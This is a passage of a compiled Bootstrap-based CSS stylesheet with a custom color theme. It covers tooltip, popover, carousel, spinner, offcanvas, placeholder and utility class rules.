var(--bs-tooltip-arrow-height); border-bottom-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-start .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow { right: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-start .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="left"] .tooltip-arrow::before { left: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height); border-left-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .tooltip-inner { max-width: var(--bs-tooltip-max-width); padding: var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x); color: var(--bs-tooltip-color); text-align: center; background-color: var(--bs-tooltip-bg); border-radius: var(--bs-tooltip-border-radius); } .popover { --bs-popover-zindex: 1070; --bs-popover-max-width: 276px; --bs-popover-font-size: 0.76563rem; --bs-popover-bg: #ffffff; --bs-popover-border-width: 1px; --bs-popover-border-color: rgba(0, 0, 0, 0.2); --bs-popover-border-radius: 15px; --bs-popover-inner-border-radius: 14px; --bs-popover-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); --bs-popover-header-padding-x: 0.75rem; --bs-popover-header-padding-y: 0.5rem; --bs-popover-header-font-size: 1rem; --bs-popover-header-color: #ffffff; --bs-popover-header-bg: #f7f7f7; --bs-popover-body-padding-x: 1rem; --bs-popover-body-padding-y: 1rem; --bs-popover-body-color: #808191; --bs-popover-arrow-width: 1rem; --bs-popover-arrow-height: 0.5rem; --bs-popover-arrow-border: var(--bs-popover-border-color); z-index: var(--bs-popover-zindex); display: block; max-width: var(--bs-popover-max-width); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-popover-font-size); word-wrap: break-word; background-color: var(--bs-popover-bg); background-clip: padding-box; border: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-radius: var(--bs-popover-border-radius); } .popover .popover-arrow { display: block; width: var(--bs-popover-arrow-width); height: var(--bs-popover-arrow-height); } .popover .popover-arrow::before, .popover .popover-arrow::after { position: absolute; display: block; content: ""; border-color: transparent; border-style: solid; border-width: 0; } .bs-popover-top > .popover-arrow, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow { bottom: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before, .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { border-width: var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-top > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::before { bottom: 0; border-top-color: var(--bs-popover-arrow-border); } .bs-popover-top > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="top"] > .popover-arrow::after { bottom: var(--bs-popover-border-width); border-top-color: var(--bs-popover-bg); } /* rtl:begin:ignore */ .bs-popover-end > .popover-arrow, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow { left: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before, .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0; } .bs-popover-end > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::before { left: 0; border-right-color: var(--bs-popover-arrow-border); } .bs-popover-end > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="right"] > .popover-arrow::after { left: var(--bs-popover-border-width); border-right-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .bs-popover-bottom > .popover-arrow, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow { top: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before, .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { border-width: 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-bottom > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::before { top: 0; border-bottom-color: var(--bs-popover-arrow-border); } .bs-popover-bottom > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="bottom"] > .popover-arrow::after { top: var(--bs-popover-border-width); border-bottom-color: var(--bs-popover-bg); } .bs-popover-bottom .popover-header::before, .bs-popover-auto[data-popper-placement^="bottom"] .popover-header::before { position: absolute; top: 0; left: 50%; display: block; width: var(--bs-popover-arrow-width); margin-left: calc(-.5 * var(--bs-popover-arrow-width)); content: ""; border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-header-bg); } /* rtl:begin:ignore */ .bs-popover-start > .popover-arrow, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow { right: calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width)); width: var(--bs-popover-arrow-height); height: var(--bs-popover-arrow-width); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before, .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { border-width: calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height); } .bs-popover-start > .popover-arrow::before, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::before { right: 0; border-left-color: var(--bs-popover-arrow-border); } .bs-popover-start > .popover-arrow::after, .bs-popover-auto[data-popper-placement^="left"] > .popover-arrow::after { right: var(--bs-popover-border-width); border-left-color: var(--bs-popover-bg); } /* rtl:end:ignore */ .popover-header { padding: var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x); margin-bottom: 0; font-size: var(--bs-popover-header-font-size); color: var(--bs-popover-header-color); background-color: var(--bs-popover-header-bg); border-bottom: var(--bs-popover-border-width) solid var(--bs-popover-border-color); border-top-left-radius: var(--bs-popover-inner-border-radius); border-top-right-radius: var(--bs-popover-inner-border-radius); } .popover-header:empty { display: none; } .popover-body { padding: var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x); color: var(--bs-popover-body-color); } .carousel { position: relative; } .carousel.pointer-event { touch-action: pan-y; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner::after { display: block; clear: both; content: ""; } .carousel-item { position: relative; display: none; float: left; width: 100%; margin-right: -100%; backface-visibility: hidden; transition: transform 0.6s ease-in-out; } @media (prefers-reduced-motion: reduce) { .carousel-item { transition: none; } } .carousel-item.active, .carousel-item-next, .carousel-item-prev { display: block; } .carousel-item-next:not(.carousel-item-start), .active.carousel-item-end { transform: translateX(100%); } .carousel-item-prev:not(.carousel-item-end), .active.carousel-item-start { transform: translateX(-100%); } .carousel-fade .carousel-item { opacity: 0; transition-property: opacity; transform: none; } .carousel-fade .carousel-item.active, .carousel-fade .carousel-item-next.carousel-item-start, .carousel-fade .carousel-item-prev.carousel-item-end { z-index: 1; opacity: 1; } .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { z-index: 0; opacity: 0; transition: opacity 0s 0.6s; } @media (prefers-reduced-motion: reduce) { .carousel-fade .active.carousel-item-start, .carousel-fade .active.carousel-item-end { transition: none; } } .carousel-control-prev, .carousel-control-next { position: absolute; top: 0; bottom: 0; z-index: 1; display: flex; align-items: center; justify-content: center; width: 15%; padding: 0; color: #ffffff; text-align: center; background: none; border: 0; opacity: 0.5; transition: opacity 0.15s ease; } @media (prefers-reduced-motion: reduce) { .carousel-control-prev, .carousel-control-next { transition: none; } } .carousel-control-prev:hover, .carousel-control-prev:focus, .carousel-control-next:hover, .carousel-control-next:focus { color: #ffffff; text-decoration: none; outline: 0; opacity: 0.9; } .carousel-control-prev { left: 0; } .carousel-control-next { right: 0; } .carousel-control-prev-icon, .carousel-control-next-icon { display: inline-block; width: 20px; height: 20px; background-repeat: no-repeat; background-position: 50%; background-size: 100% 100%; } /* rtl:options: { "autoRename": true, "stringMap":[ { "name" : "prev-next", "search" : "prev", "replace" : "next" } ] } */ .carousel-control-prev-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e"); } .carousel-control-next-icon { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e"); } .carousel-indicators { position: absolute; right: 0; bottom: 0; left: 0; z-index: 2; display: flex; justify-content: center; padding: 0; margin-right: 15%; margin-bottom: 1rem; margin-left: 15%; list-style: none; } .carousel-indicators [data-bs-target] { box-sizing: content-box; flex: 0 1 auto; width: 30px; height: 3px; padding: 0; margin-right: 3px; margin-left: 3px; text-indent: -999px; cursor: pointer; background-color: #ffffff; background-clip: padding-box; border: 0; border-top: 10px solid transparent; border-bottom: 10px solid transparent; opacity: 0.5; transition: opacity 0.6s ease; } @media (prefers-reduced-motion: reduce) { .carousel-indicators [data-bs-target] { transition: none; } } .carousel-indicators .active { opacity: 1; } .carousel-caption { position: absolute; right: 15%; bottom: 1.25rem; left: 15%; padding-top: 1.25rem; padding-bottom: 1.25rem; color: #ffffff; text-align: center; } .carousel-dark .carousel-control-prev-icon, .carousel-dark .carousel-control-next-icon { filter: invert(1) grayscale(100); } .carousel-dark .carousel-indicators [data-bs-target] { background-color: #000000; } .carousel-dark .carousel-caption { color: #000000; } .spinner-grow, .spinner-border { display: inline-block; width: var(--bs-spinner-width); height: var(--bs-spinner-height); vertical-align: var(--bs-spinner-vertical-align); border-radius: 50%; animation: var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name); } @keyframes spinner-border { to { transform: rotate(360deg) /* rtl:ignore */; } } .spinner-border { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-border-width: 0.25em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-border; border: var(--bs-spinner-border-width) solid currentcolor; border-right-color: transparent; } .spinner-border-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; --bs-spinner-border-width: 0.2em; } @keyframes spinner-grow { 0% { transform: scale(0); } 50% { opacity: 1; transform: none; } } .spinner-grow { --bs-spinner-width: 2rem; --bs-spinner-height: 2rem; --bs-spinner-vertical-align: -0.125em; --bs-spinner-animation-speed: 0.75s; --bs-spinner-animation-name: spinner-grow; background-color: currentcolor; opacity: 0; } .spinner-grow-sm { --bs-spinner-width: 1rem; --bs-spinner-height: 1rem; } @media (prefers-reduced-motion: reduce) { .spinner-border, .spinner-grow { --bs-spinner-animation-speed: 1.5s; } } .offcanvas-sm, .offcanvas-md, .offcanvas-lg, .offcanvas-xl, .offcanvas-xxl, .offcanvas { --bs-offcanvas-zindex: 1045; --bs-offcanvas-width: 360px; --bs-offcanvas-height: 33vh; --bs-offcanvas-padding-x: 1.25rem; --bs-offcanvas-padding-y: 1.25rem; --bs-offcanvas-color: ; --bs-offcanvas-bg: #292A33; --bs-offcanvas-border-width: 1px; --bs-offcanvas-border-color: rgba(0, 0, 0, 0.2); --bs-offcanvas-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); } @media (max-width: 575.98px) { .offcanvas-sm { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 575.98px) and (prefers-reduced-motion: reduce) { .offcanvas-sm { transition: none; } } @media (max-width: 575.98px) { .offcanvas-sm.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-sm.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-sm.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-sm.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-sm.showing, .offcanvas-sm.show:not(.hiding) { transform: none; } .offcanvas-sm.showing, .offcanvas-sm.hiding, .offcanvas-sm.show { visibility: visible; } } @media (min-width: 576px) { .offcanvas-sm { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-sm .offcanvas-header { display: none; } .offcanvas-sm .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 767.98px) { .offcanvas-md { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 767.98px) and (prefers-reduced-motion: reduce) { .offcanvas-md { transition: none; } } @media (max-width: 767.98px) { .offcanvas-md.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-md.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-md.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-md.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-md.showing, .offcanvas-md.show:not(.hiding) { transform: none; } .offcanvas-md.showing, .offcanvas-md.hiding, .offcanvas-md.show { visibility: visible; } } @media (min-width: 768px) { .offcanvas-md { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-md .offcanvas-header { display: none; } .offcanvas-md .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 991.98px) { .offcanvas-lg { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 991.98px) and (prefers-reduced-motion: reduce) { .offcanvas-lg { transition: none; } } @media (max-width: 991.98px) { .offcanvas-lg.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-lg.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-lg.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-lg.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-lg.showing, .offcanvas-lg.show:not(.hiding) { transform: none; } .offcanvas-lg.showing, .offcanvas-lg.hiding, .offcanvas-lg.show { visibility: visible; } } @media (min-width: 992px) { .offcanvas-lg { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-lg .offcanvas-header { display: none; } .offcanvas-lg .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1199.98px) { .offcanvas-xl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1199.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xl { transition: none; } } @media (max-width: 1199.98px) { .offcanvas-xl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xl.showing, .offcanvas-xl.show:not(.hiding) { transform: none; } .offcanvas-xl.showing, .offcanvas-xl.hiding, .offcanvas-xl.show { visibility: visible; } } @media (min-width: 1200px) { .offcanvas-xl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xl .offcanvas-header { display: none; } .offcanvas-xl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } @media (max-width: 1399.98px) { .offcanvas-xxl { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } } @media (max-width: 1399.98px) and (prefers-reduced-motion: reduce) { .offcanvas-xxl { transition: none; } } @media (max-width: 1399.98px) { .offcanvas-xxl.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas-xxl.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas-xxl.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas-xxl.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas-xxl.showing, .offcanvas-xxl.show:not(.hiding) { transform: none; } .offcanvas-xxl.showing, .offcanvas-xxl.hiding, .offcanvas-xxl.show { visibility: visible; } } @media (min-width: 1400px) { .offcanvas-xxl { --bs-offcanvas-height: auto; --bs-offcanvas-border-width: 0; background-color: transparent !important; } .offcanvas-xxl .offcanvas-header { display: none; } .offcanvas-xxl .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; background-color: transparent !important; } } .offcanvas { position: fixed; bottom: 0; z-index: var(--bs-offcanvas-zindex); display: flex; flex-direction: column; max-width: 100%; color: var(--bs-offcanvas-color); visibility: hidden; background-color: var(--bs-offcanvas-bg); background-clip: padding-box; outline: 0; transition: transform 0.3s ease-in-out; } @media (prefers-reduced-motion: reduce) { .offcanvas { transition: none; } } .offcanvas.offcanvas-start { top: 0; left: 0; width: var(--bs-offcanvas-width); border-right: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(-100%); } .offcanvas.offcanvas-end { top: 0; right: 0; width: var(--bs-offcanvas-width); border-left: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateX(100%); } .offcanvas.offcanvas-top { top: 0; right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-bottom: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(-100%); } .offcanvas.offcanvas-bottom { right: 0; left: 0; height: var(--bs-offcanvas-height); max-height: 100%; border-top: var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color); transform: translateY(100%); } .offcanvas.showing, .offcanvas.show:not(.hiding) { transform: none; } .offcanvas.showing, .offcanvas.hiding, .offcanvas.show { visibility: visible; } .offcanvas-backdrop { position: fixed; top: 0; left: 0; z-index: 1040; width: 100vw; height: 100vh; background-color: #000; } .offcanvas-backdrop.fade { opacity: 0; } .offcanvas-backdrop.show { opacity: 0.5; } .offcanvas-header { display: flex; align-items: center; justify-content: space-between; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); } .offcanvas-header .btn-close { padding: calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5); margin-top: calc(-.5 * var(--bs-offcanvas-padding-y)); margin-right: calc(-.5 * var(--bs-offcanvas-padding-x)); margin-bottom: calc(-.5 * var(--bs-offcanvas-padding-y)); } .offcanvas-title { margin-bottom: 0; line-height: 1.5; } .offcanvas-body { flex-grow: 1; padding: var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x); overflow-y: auto; } .placeholder { display: inline-block; min-height: 1em; vertical-align: middle; cursor: wait; background-color: currentcolor; opacity: 0.5; } .placeholder.btn::before { display: inline-block; content: ""; } .placeholder-xs { min-height: .6em; } .placeholder-sm { min-height: .8em; } .placeholder-lg { min-height: 1.2em; } .placeholder-glow .placeholder { animation: placeholder-glow 2s ease-in-out infinite; } @keyframes placeholder-glow { 50% { opacity: 0.2; } } .placeholder-wave { -webkit-mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); mask-image: linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%); -webkit-mask-size: 200% 100%; mask-size: 200% 100%; animation: placeholder-wave 2s linear infinite; } @keyframes placeholder-wave { 100% { -webkit-mask-position: -200% 0%; mask-position: -200% 0%; } } .clearfix::after { display: block; clear: both; content: ""; } .text-bg-primary { color: #ffffff !important; background-color: RGBA(81, 69, 157, var(--bs-bg-opacity, 1)) !important; } .text-bg-secondary { color: #ffffff !important; background-color: RGBA(108, 117, 125, var(--bs-bg-opacity, 1)) !important; } .text-bg-success { color: #ffffff !important; background-color: RGBA(111, 217, 67, var(--bs-bg-opacity, 1)) !important; } .text-bg-info { color: #ffffff !important; background-color: RGBA(62, 201, 214, var(--bs-bg-opacity, 1)) !important; } .text-bg-warning { color: #ffffff !important; background-color: RGBA(255, 162, 29, var(--bs-bg-opacity, 1)) !important; } .text-bg-danger { color: #ffffff !important; background-color: RGBA(255, 58, 110, var(--bs-bg-opacity, 1)) !important; } .text-bg-light { color: #212529 !important; background-color: RGBA(248, 249, 250, var(--bs-bg-opacity, 1)) !important; } .text-bg-dark { color: #ffffff !important; background-color: RGBA(28, 35, 47, var(--bs-bg-opacity, 1)) !important; } .link-primary { color: #51459d !important; } .link-primary:hover, .link-primary:focus { color: #41377e !important; } .link-secondary { color: #6c757d !important; } .link-secondary:hover, .link-secondary:focus { color: #565e64 !important; } .link-success { color: #6fd943 !important; } .link-success:hover, .link-success:focus { color: #59ae36 !important; } .link-info { color: #3ec9d6 !important; } .link-info:hover, .link-info:focus { color: #32a1ab !important; } .link-warning { color: #ffa21d !important; } .link-warning:hover, .link-warning:focus { color: #cc8217 !important; } .link-danger { color: #ff3a6e !important; } .link-danger:hover, .link-danger:focus { color: #cc2e58 !important; } .link-light { color: #f8f9fa !important; } .link-light:hover, .link-light:focus { color: #f9fafb !important; } .link-dark { color: #1c232f !important; } .link-dark:hover, .link-dark:focus { color: #161c26 !important; } .ratio { position: relative; width: 100%; } .ratio::before { display: block; padding-top: var(--bs-aspect-ratio); content: ""; } .ratio > * { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .ratio-1x1 { --bs-aspect-ratio: 100%; } .ratio-4x3 { --bs-aspect-ratio: calc(3 / 4 * 100%); } .ratio-16x9 { --bs-aspect-ratio: calc(9 / 16 * 100%); } .ratio-21x9 { --bs-aspect-ratio: calc(9 / 21 * 100%); } .fixed-top { position: fixed; top: 0; right: 0; left: 0; z-index: 1030; } .fixed-bottom { position: fixed; right: 0; bottom: 0; left: 0; z-index: 1030; } .sticky-top { position: sticky; top: 0; z-index: 1020; } .sticky-bottom { position: sticky; bottom: 0; z-index: 1020; } @media (min-width: 576px) { .sticky-sm-top { position: sticky; top: 0; z-index: 1020; } .sticky-sm-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 768px) { .sticky-md-top { position: sticky; top: 0; z-index: 1020; } .sticky-md-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 992px) { .sticky-lg-top { position: sticky; top: 0; z-index: 1020; } .sticky-lg-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1200px) { .sticky-xl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xl-bottom { position: sticky; bottom: 0; z-index: 1020; } } @media (min-width: 1400px) { .sticky-xxl-top { position: sticky; top: 0; z-index: 1020; } .sticky-xxl-bottom { position: sticky; bottom: 0; z-index: 1020; } } .hstack { display: flex; flex-direction: row; align-items: center; align-self: stretch; } .vstack { display: flex; flex: 1 1 auto; flex-direction: column; align-self: stretch; } .visually-hidden, .visually-hidden-focusable:not(:focus):not(:focus-within) { position: absolute !important; width: 1px !important; height: 1px !important; padding: 0 !important; margin: -1px !important; overflow: hidden !important; clip: rect(0, 0, 0, 0) !important; white-space: nowrap !important; border: 0 !important; } .stretched-link::after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; content: ""; } .text-truncate { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .vr { display: inline-block; align-self: stretch; width: 1px; min-height: 1em; background-color: currentcolor; opacity: 1; } .align-baseline { vertical-align: baseline !important; } .align-top { vertical-align: top !important; } .align-middle { vertical-align: middle !important; } .align-bottom { vertical-align: bottom !important; } .align-text-bottom { vertical-align: text-bottom !important; } .align-text-top { vertical-align: text-top !important; } .float-start { float: left !important; } .float-end { float: right !important; } .float-none { float: none !important; } .opacity-0 { opacity: 0 !important; } .opacity-25 { opacity: 0.25 !important; } .opacity-50 { opacity: 0.5 !important; } .opacity-75 { opacity: 0.75 !important; } .opacity-100 { opacity: 1 !important; } .overflow-auto { overflow: auto !important; } .overflow-hidden { overflow: hidden !important; } .overflow-visible { overflow: visible !important; } .overflow-scroll { overflow: scroll !important; } .d-inline { display: inline !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .d-grid { display: grid !important; } .d-table { display: table !important; } .d-table-row { display: table-row !important; } .d-table-cell { display: table-cell !important; } .d-flex { display: flex !important; } .d-inline-flex { display: inline-flex !important; } .d-none { display: none !important; } .shadow { box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important; } .shadow-sm { box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important; } .shadow-lg { box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important; } .shadow-none { box-shadow: none !important; } .position-static { position: static !important; } .position-relative { position: relative !important; } .position-absolute { position: absolute !important; } .position-fixed { position: fixed !important; } .position-sticky { position: sticky !important; } .top-0 { top: 0 !important; } .top-50 { top: 50% !important; } .top-100 { top: 100% !important; } .bottom-0 { bottom: 0 !important; } .bottom-50 { bottom: 50% !important; } .bottom-100 { bottom: 100% !important; } .start-0 { left: 0 !important; } .start-50 { left: 50% !important; } .start-100 { left: 100% !important; } .end-0 { right: 0 !important; } .end-50 { right: 50% !important; } .end-100 { right: 100% !important; } .translate-middle { transform: translate(-50%, -50%) !important; } .translate-middle-x { transform: translateX(-50%) !important; } .translate-middle-y { transform: translateY(-50%) !important; } .border { border: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-0 { border: 0 !important; } .border-top { border-top: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-top-0 { border-top: 0 !important; } .border-end { border-right: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } .border-end-0 { border-right: 0 !important; } .border-bottom { border-bottom: var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important; } 